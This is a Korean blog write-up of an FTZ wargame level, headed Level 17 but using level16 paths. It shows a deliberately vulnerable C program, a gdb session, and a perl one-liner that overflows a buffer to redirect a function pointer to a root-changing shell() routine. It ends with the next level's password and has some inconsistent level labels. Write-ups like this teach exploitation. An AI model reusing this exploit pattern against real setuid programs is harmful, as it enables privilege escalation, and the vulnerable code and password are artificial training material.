본문 바로가기

Learning/└◆System Hacking

[War Game] FTZ Level 17


 <FTZ LEVEL17>


 

 

■ Level17 풀이

 

level8 사용자 로그인

-> ID/PASS : level17/

 

$ cat hint

void shell() {

  setreuid(3097,3097);

  system("/bin/sh");

}


void printit() {

  printf("Hello there!\n");

}


main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  call();  

}

 

=> shell함수가 권한 상을을 시켜주는 수단이 될 수 있다는걸 알 수 있다.

=> 실행을 시켜보면 printi함수가 실행되고 shell함수를 변조하면 된다.

 

$ cp /home/level16/hint /home/level16/tmp/shell.c

$ cp /home/level16/attackme /home/level16/tmp/attackme

$ gdb -q attackme

(gdb) disassemble main

Dump of assembler code for function main:

0x08048518 <main+0>:    push   %ebp

0x08048519 <main+1>:    mov    %esp,%ebp

0x0804851b <main+3>:    sub    $0x38,%esp

0x0804851e <main+6>:    movl   $0x8048500,0xfffffff0(%ebp)

0x08048525 <main+13>:   sub    $0x4,%esp

0x08048528 <main+16>:   pushl  0x80496e8

0x0804852e <main+22>:   push   $0x30

0x08048530 <main+24>:   lea    0xffffffc8(%ebp),%eax

0x08048533 <main+27>:   push   %eax

0x08048534 <main+28>:   call   0x8048384 <fgets>

0x08048539 <main+33>:   add    $0x10,%esp

0x0804853c <main+36>:   mov    0xfffffff0(%ebp),%eax

0x0804853f <main+39>:   call   *%eax

0x08048541 <main+41>:   leave

0x08048542 <main+42>:   ret

0x08048543 <main+43>:   nop

0x08048544 <main+44>:   nop

0x08048545 <main+45>:   nop

0x08048546 <main+46>:   nop

0x08048547 <main+47>:   nop

0x08048548 <main+48>:   nop

0x08048549 <main+49>:   nop

0x0804854a <main+50>:   nop

0x0804854b <main+51>:   nop

0x0804854c <main+52>:   nop

0x0804854d <main+53>:   nop

0x0804854e <main+54>:   nop

0x0804854f <main+55>:   nop

End of assembler dump.

(gdb) b *main+39

Breakpoint 1 at 0x804853f

(gdb) r

Starting program: /home/level16/tmp/attackme

hello


Breakpoint 1, 0x0804853f in main ()

(gdb) info regi $eax

eax            0x8048500        134513920

 

=> printit 주소가 0x8048500이고 이 값을 shell함수 주소값으로 변경하면 shell 함수를 실행 할 수 있다.

 

$ objdump -t attackme | grep shell

080484d0 g    F .text    0000002d        shell

=> 0x080484d0

 

결론적으로 56byte확보하고 0xfffffc8부터 들어가는데 0xffffff0 부분에 주소를 넣어서 그 주소를 호출하는 것으로

printit() 가 들어간다고 볼 수 있다. 이 주소에 shell() 의 주소를 넣어 쉘을 얻는다.

[참고] (gdb) disas printit , (gdb) disas shell

 

$ (perl -e 'print "A"x40, "\xd0\x84\x04\x08"';cat) | ./attackme

my-pass

Level17 Password is "king poetic".